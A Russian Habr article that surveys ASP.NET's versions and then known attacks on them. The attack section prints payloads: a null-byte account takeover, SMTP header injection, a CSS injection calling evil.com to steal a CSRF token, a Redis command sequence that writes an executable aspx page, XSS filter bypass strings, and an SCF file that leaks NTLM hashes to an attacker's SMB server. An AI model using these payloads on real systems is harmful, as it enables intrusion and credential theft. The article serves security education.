![](https://habrastorage.org/webt/lw/h4/e6/lwh4e6eo0ogtcv4ycwp2oy_6pa0.jpeg)
Как говорят специалисты по информационной безопасности «Ломают всё, всех и всегда». При этом, атаки на ASP.NET — вещь достаточно редкая. Поэтому всегда крайне любопытно узнавать про это что-то новое. Под катом рассказ специалиста отдела информационной безопасности Rambler Group Алексея Морозова о сильных и слабых сторонах данной технологии.
Введение
Сегодня ASP заслужило свою популярность как средство для создания средних и крупных проектов. И, как любое популярное решение, ASP.NET тоже представляет интерес для внешних исследователей безопасности, хакеров и тестировщиков.
В данной статье рассматриваются возможные проблемы безопасности ASP.NET в различных версиях. Однако, следует отметить, что ASP сильно уступает по количеству решений тому же PHP, и это обусловлено многими факторами.
В отличии от PHP использование ASP, как правило, значительно сложнее и затратнее (использование коммерческой версии IIS, среды разработки Visual Studio). До недавнего времени (появления ASP.NET Core), использование было возможно только под Windows и на веб-сервере IIS. Также сложнее процедура развертывания.
ASP (Active Server Pages) – это технология компании Майкрософт для создания динамических страниц.
Описание: данная технология дает возможность создавать HTML-страницы со вставками на языке Jscript (очень похож на JavaScript, но помимо клиентских скриптов имеет ряд возможностей по работе с операционной системой Windows и серверными вставками на ASP)
Пример:
<% @ Language = "JScript" %><%
Response.Write("Hello World!");
%>
ASP.NET
Следующим витком развития технологии стало создание ядра ASP на базе фреймворка .Net. В следствие чего ASP получил все возможности данного решения, а именно:
- использование разных языков программирования (C#, Visual Basic.NET, J# и JScript .NET);
- возросшая скорость по сравнению со скриптовыми технологиями, так как при первом обращении код компилируется и помещается в специальный кэш, и впоследствии только исполняется, не требуя затрат времени на парсинг, оптимизацию;
- компилируемый код, позволяющий более качественно отлавливать ошибки, так сам процесс отладки становится эффективнее;
- появление возможности кэширования страницы;
- разделение представления от бизнес-логики.
На базе решения ASP.NET были созданы последующие технологии, которые мы рассмотрим.
ASP.NET Ajax – одно из расширений ASP.NET, позволяющее использовать Ajax для асинхронного обновления части контента.
Пример:
<asp:Button ID="Button1" runat="server" Text="Refresh" />
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<Triggers>
<asp:AsyncPostBackTrigger ControlID="Button1" EventName="Click" />
</Triggers>
<ContentTemplate>
<span><%= DateTime.Now %></span>
</ContentTemplate>
</asp:UpdatePanel>
ASP.NET Web Forms – новая эволюция технологии ASP, при которой происходит переход на компоненто–ориентированную модель построения приложений.
Описание:
Модель Web Forms базируется на трех основных концепциях: обратной передаче страниц, состоянии просмотра и серверных элементах управления. Каждый запрос HTTP, передаваемый веб-серверу и сопоставляемый со средой выполнения ASP.NET, проходит несколько стадий, в которых центральное место занимает обработка события обратной передачи (postback). Событие обратной передачи — главное действие, которое ожидает получить пользователь в результате обработки своего запроса. (например, клик по кнопке).
Проще говоря, появляются традиционные элементы управления (контролы) и событийная модель разработки.
Пример:
Представление (файл aspx) – клиентская сторона.
<%@ Page Language="C#" CodeFile="SamplePage.aspx.cs"
Inherits="SamplePage" AutoEventWireup="true" %>
<html>
<head runat="server" >
<title>Code-Behind Page Model</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:Label id="Label1"
runat="server" Text="Label" >
</asp:Label>
<br />
<asp:Button id="Button1"
runat="server"
onclick="Button1_Click"
Text="Button" >
</asp:Button>
</div>
</form>
</body>
</html>
Обработка логики (файл cs (если используется C#)) — серверная сторона.
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
public partial class SamplePage : System.Web.UI.Page
{
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = "Clicked at " + DateTime.Now.ToString();
}
}
ASP.NET Web API – ещё одно расширение, позволяющее создавать сервисы API для более удобной разработки и взаимодействия с приложением.
Пример:
[HttpDelete("{id}")]
public IActionResult Delete(long id)
{
var todo = _context.TodoItems.Find(id);
if (todo == null)
{
return NotFound();
}
_context.TodoItems.Remove(todo);
_context.SaveChanges();
return NoContent();
}
ASP.NET MVC – следующий этап в развитии технологии происходит после появления разделения бизнес логики на три составляющие паттерна MVC (Model-View-Controller). Так же внедряется движок razor и появляется возможность самостоятельно кастомизировать управляемые элементы сайта, что было сильно затруднено при Web Forms.
Преимущества:
- облегчается управление сложными структурами путем разделения приложения на модель, представление и контроллер;
- не используется состояние просмотра и серверные формы. Это делает платформу MVC идеальной для разработчиков, которым необходим полный контроль над поведением приложения;
- схема основного контроллера, при которой запросы веб-приложения обрабатываются через один контроллер. Это позволяет создавать приложения, поддерживающие расширенную инфраструктуру маршрутизации;
- хорошо подходит для веб-приложений, поддерживаемых крупными коллективами разработчиков.
Пример:
Представление (View)
@{
Layout = null;
}
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width" />
<title>SomeView</title>
</head>
<body>
<div>
<h2>@ViewBag.Message</h2>
</div>
</body>
</html>
Модель (Model)
using System;
using System.ComponentModel;
using System.ComponentModel.DataAnnotations;
namespace MvcModels.Models
{
public partial class User
{
public int UserId { get; set; }
[DisplayName("Имя")]
public string FirstName { get; set; }
[DisplayName("Фамилия")]
public string LastName { get; set; }
[DisplayName("Дата рождения")]
[DataType(DataType.Date)]
public DateTime BirthDate { get; set; }
}
}
Контроллер (controller)
using System.Web.Mvc;
namespace NonCompiledMvc.Controllers
{
public class HomeController : Controller
{
public ActionResult Index()
{
return View((object)"It Works!");
}
}
}
ASP.NET Core – следующий рывок развития ASP.NET становится кроссплатформенным, с поддержкой C# 7.0.
Технология | Сильные стороны | Слабые стороны |
---|---|---|
Active Server Pages, ASP | Общая цель | Интерпретируется во время выполнения, поддерживает «спагетти код» |
ASP.NET Web Forms 1.0/1.1 | Скомпилированный, UI, поддерживает ООП | Тяжелый по пропускной способности, сложный HTML, нетестируемый |
ASP.NET Web Forms 2.0 | - | - |
ASP.NET Ajax | Внедрение Ajax | Появление неоправданной сложности, отсутствие гибкости |
ASP.NET Web Forms 3.5-4.0 | - | - |
ASP.NET MVC 1.0-5.0 | Полностью меняется модель разработки. Появляется гибкость | Отсутствие кроссплатформенности. Невозможно компилировать на лету |
ASP.NET Core | Появляется кроссплатформенность. Открытые исходники | - |
Аутентификация в ASP.NET
Есть три вида аутентификации в ASP.NET MVC, которые значительно отличаются друг от друга.
- No Authentication: ASP.NET Identity и встроенная система аутентификации отсутствует;
- Individual User Accounts: проект по умолчанию включает систему ASP.NET Identity, которая позволяет авторизовать пользователей как внутри приложения, так и с помощью таких внешних сервисов, как google, twitter и т.д.
- Organizational Accounts: подходит для сайтов и веб-приложений отдельных компаний и организаций;
- Windows Authentication: система аутентификации для сетей intranet с помощью учетных записей Windows.
![](https://habrastorage.org/webt/wr/rz/o4/wrrzo4fj86bsayurdvfxzcmdvze.png)
ASP.NET с точки зрения взлома
Как и любая технология ASP.NET подвергался взлому. Ниже будут описаны наиболее популярные исследования безопасности, в том числе не только в самом ASP, но и в совокупности с инфраструктурой.
Статистика CVE
![](https://habrastorage.org/webt/af/at/ft/afatftxyrlf1kds_37latbgi3fc.png)
Как видно из таблицы статистика по находкам очень немногочисленна. Это связано с тем, что ASP.NET требует хороших знаний, чтобы исследовать его детально. А также ресурсов на нем значительно меньше, чем на том же PHP.
Использование null-байта для bypass’а авторизации
CVE: CVE-2011-3416
Описание: имеется возможность обойти авторизацию.
Алгоритм:
- Регистрируется новый аккаунт с уже существующим логином;
- При регистрации добавляем null-byte и дополнительные символы (admin%0012sd);
- Таким образом проверка на уникальность будет пройдена. Создастся новый пользователь “admin” с той же ролью, но с новым паролем.
Пример уязвимого кода:
If (IsPostBack)
{
String name = Request.Form[“name”];
String password = Request.Form[“password”];
If (name != null && password != null
&& FormsAuthentication.Authenticate(name, password))
{
FormsAuthentication.SetAuthCookie(name, false);
Response.Redirect(Request[“ReturnUrl”] ?? “/”);
}
Else
{
ModelState.AddModeError(“fail”, “Логинь или пароль неправильны.” +
“Пожалуйста введите данные заново”);
}
}
Proof-of-Concept:
Решение: данная ошибка была устранена в .Net 3.5
Удаленная отладка
Описание: поскольку ASP.NET – это компилируемое приложение, у него есть определенные особенности отладки. Компания Microsoft позволяет использовать удаленный отладчик для работы над debug-версией приложения.
Если данный порт открыт в Интернете и защищен простым паролем или пароль отсутствует вовсе, то имеется возможность подцепиться отладчиком. Далее это позволит влиять на приложение в режиме DEBUG. В том числе вытаскивать пароли, изменять логику, проводить трассировку и др.
Proof-of-Concept:
![](https://habrastorage.org/webt/pl/f3/ba/plf3ba206usqwa10gt59go39w8k.png)
Решение: использовать надежный пароль и не выставлять наружу сервис для отладки.
SMTP Header Injection
Описание: необходимо вспомнить немного спецификацию SMTP протокола.
Пример того, как выглядит обычный SMTP-пакет простого письма:
Received: from mail.bieberdorf.edu (mail.bieberdorf.edu [124.211.3.78]) by mailhost.immense-isp.com (8.8.5/8.7.2) with ESMTP id LAA20869 for ; Tue, 18 Mar 1997 14:39:24 -0800 (PST)
Received: from alpha.bieberdorf.edu (alpha.bieberdorf.edu [124.211.3.11]) by mail.bieberdorf.edu (8.8.5) id 004A21; Tue, Mar 18 1997 14:36:17 -0800 (PST)
From: rth@bieberdorf.edu (R.T. Hood)
To: tmh@immense-isp.com
Date: Tue, Mar 18 1997 14:36:14 PST
Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
X-Mailer: Loris v2.32
и Lunch today?
Очевидно, что при отсутствии валидации значения, попадающего в заголовок “To”, имеется возможность перенаправить письмо другому адресату. Но это было бы слишком просто и очевидно, поэтому валидация происходит уже на уровне .Net.
Однако, если внедрить новый заголовок Reply-To – адрес для ответов, то многие формы такие как «Забытый пароль», часто берут адрес отправки именно из него, тем самым, достаточно внедрить символы возврата каретки и перевода строки и получить рабочую нагрузку.
...
From: rth@bieberdorf.edu (R.T. Hood)
To: tmh@immense-isp.com/r/nReply-to:hack@hack.ru
Date: Tue, Mar 18 1997 14:36:14 PST
Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
...
В итоге будет внедрен новый заголовок:
From: rth@bieberdorf.edu (R.T. Hood)
To: tmh@immense-isp.com
Reply-To: hack@hack.ru
Date: Tue, Mar 18 1997 14:36:14 PST
Message-Id: <rth031897143614-00000298@mail.bieberdorf.edu>
Пример уязвимого кода:
MailAddress from = new MailAddress(“******@mail.ru", “test");
MailAddress to = new MailAddress(email);
MailMessage m = new MailMessage(from, to);
m.Subject = "Тест";
m.Body = "Письмо-тест";
m.Headers.Add(“To", email);
m.IsBodyHtml = true;
SmtpClient smtp = new SmtpClient("smtp.mail.ru", 587);
smtp.Credentials = new NetworkCredential(“******@mail.ru", “******");
smtp.EnableSsl = true;
smtp.Send(m);
Proof-of-Concept:
Решение: не писать замысловатый код, использовать свежий .Net
RCE в Partial View
Описание: в терминологии ASP.NET MVC есть два важных понятия:
View – это представление, то что видит пользователь. Как уже отмечалось, благодаря razor или web forms движкам, имеется возможность внедрять серверный код.
Partial View – частичное представление. Это часть содержимого View, вынесенного в отдельный файл для удобства.
Необходимо наличие некоторого поля в Partial View, которое рендерится в html, и в которое имеется возможность занести опасную нагрузку.
Пример нагрузки: получение пароля текущего пользователя
@((Account.Models.User)Session[“User”].Password
В результате попадания во View, этот код будет выполнен. Так как директивы будут распознаны как движок razor. На рисунке ниже видно, как это происходит.
Алгоритм:
- Пользователь делает запрос в контроллер;
- Контроллер отрисовывает View;
- Внутри View встречается Partial View, после чего снова происходит запрос на контроллер, который отвечает за отрисовку частичного представления;
- Готовый Partial View возвращается в основной, а основной – пользователю.
![](https://habrastorage.org/webt/_j/si/qs/_jsiqsyffaujvq2hikalumgdxte.png)
Proof-of-Concept:
Упрощенный пример:
@{ Html.RenderPartial("Code", html); }
Controller -
public ActionResult Index(string html = "")
{
ViewBag.Html = html;
return View();
}
Partial view – Частичное представление
@model string
@{
Layout = null;
}
@Model
Index view – Главное представление
@{
string html = ViewBag.Html.ToString();
}
@{ Html.RenderPartial("Code", html); }
Proof-of-Concept:
P.S. Попытка воспроизвести не увенчается успехом.
CSRF & CSS Injection
Данные уязвимости подразумевают под собой взаимодействие с пользователем.
CSRF (Сross Site Request Forgery) – межсайтовая подделка запроса.
Алгоритм:
- Пользователь приходит на сайт хакера;
- Заполняет поля формы;
- Данные с формы отправляются на другой сайт от имени пользователя и с его ролью;
- Таким образом, пользователь, сам о том не догадываясь, выполнил какие-то действия на другом ресурсе.
Для защиты от данного типа атак были придуманы CSRF-токены, как правило, это строка, содержащая последовательность символов.
Была найдена уязвимость, позволяющая обходить защиту от CSRF. Необходимо было просто в качестве токена использовать строку много меньше исходной.
Обычный токен
<input type="hidden" name="__RequestVerificationToken" value="CIhXcKin7XcwYn8Y1hNVgP5eOOhAMn37dnZtFzziOqhflM423Z5JKkVPciRopfgcPau5tj" />
Уязвимый токен
<input type="hidden" name="__RequestVerificationToken" value="ovomyQnYPxvPXfdxrjO1JEce3zPvGn" />
Нагрузка для кражи токена через CSS (не XSS):
В случае, когда не помогает усечение токена, можно прибегнуть к атаке CSS-Injection, которая позволяет украсть токен со страницы и отрисовать его на своем ресурсе. Благодаря этому пользователю отдается настоящий токен, и от его имени совершается необходимый запрос на сайте.
Пример нагрузки:
%0A{}*{color:red;} - Test
<div id ="s"> secret <style type ="text/css">
div #s:: -webkit-scrollbar-track-piece:vertical:increment {
background: red url(//evil.com?s);
}
* {-o-link:'javascript:alert(1)';-o-link-source: current;}
XXE в DocX
Описание: ASP.NET так же как и другие технологии использует многие сторонние решения. В одном из таких решений, интегрируемых в ASP.NET была найдена уязвимость XXE (XML External Entities), которая заключается в ошибке парсера xml и возможности подключать внешние сущности, которые могут содержать критичные данные. Подробнее об XXE можно почитать на страницах OWASP.
В данном случае компонент отвечает за загрузку и парсинг docx (Microsoft World) файлов. Так как любой документ Office – это на самом деле набор xml файлов, то при парсинге может быть проведена атака ХХЕ.
Алгоритм:
- Распаковывается офисный документ;
- Внедряется нагрузка;
- Запаковывается обратно как docx;
- Заливается на сервер для обработки, где используется уязвимый компонент.
Proof-of-Concept:
RCE через Redis
Описание: помимо уязвимых компонентов, взлом ASP.NET можно комбинировать и с уязвимыми технологиями. Например, в системе хранения данных в оперативной памяти Redis известна давняя уязвимость, позволяющая выполнять произвольный код на стороне сервера. Далее будет рассмотрена данная атака применительно к ASP.
Алгоритм:
- Подключение к Redis. Важно, чтобы он работал на том же сервере, что и веб-сервер;
- Выполняя следующий листинг и используя веб-сервер для просмотра полученной страницы будет выполнен произвольный код. В данном случае вызов калькулятора:
config set dir DIRNAME
config set dbfilename asd.aspx
flushall
set c '<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="asd.aspx.cs" %><% System.Diagnostics.Process.Start("calc.exe"); %>'
save
Proof-of-Concept:
XSS фильтр ByPass
Внутри ASP.NET предусмотрен свой механизм фильтрации данных от атак класса XSS. При попытке передать запрещенные символы или сигнатуру, срабатывает следующая защита:
![](https://habrastorage.org/webt/og/-b/me/og-bmepcexanckl1pma1l8_71q4.png)
Однако существует множество способов обойти эту защиту. Вот некоторые из них:
- %EF%BC%9Cimg%20src%3Dxxx%20onerror%3Dalert(1)%EF%BC%9E
- <-/script>alert(1);
- </XSS/*-*/STYLE=xss:e/**/xpression (alert('XSS'))>
- %uff1cscript%uff1ealert(‘XSS’);%uff1c/script%uff1e
В последних версиях данные способы уже не работают, однако как уже упоминалось, ASP.NET технология создана преимущественно для крупных и долгих проектов, поэтому еще много ресурсов могут быть подвержены данной уязвимости.
Shell Command File
Описание: не так давно прогремела уязвимость, связанная с браузером Google Chrome, суть которой заключается в хищении NTLM-хэша пользователя.
Алгоритм:
1) Подготавливается файл с расширением scf и следующим содержимым
[Shell]
IconFile=\\***.**.*.***\icon
где вместо звездочек ip – адрес сервера smb злоумышленника;
2) При попадании на компьютер пользователя этот файл даже не требует открытия. Достаточно, чтобы пользователь просто зашёл в ту же папку, где лежит этот файл. Как только это произойдет, на SMB-сервер отправится пакет с хэшем;
3) Таким образом взлом инфраструктуры можно так же комбинировать и с простыми уязвимостями такими как Open Redirect.
Proof-of-Concept:
Ссылки
Спасибо за внимание! Делитесь своим опытом и оставляйте вопросы Алексею Морозову (aka SoolFaa) в комментариях к данной статье.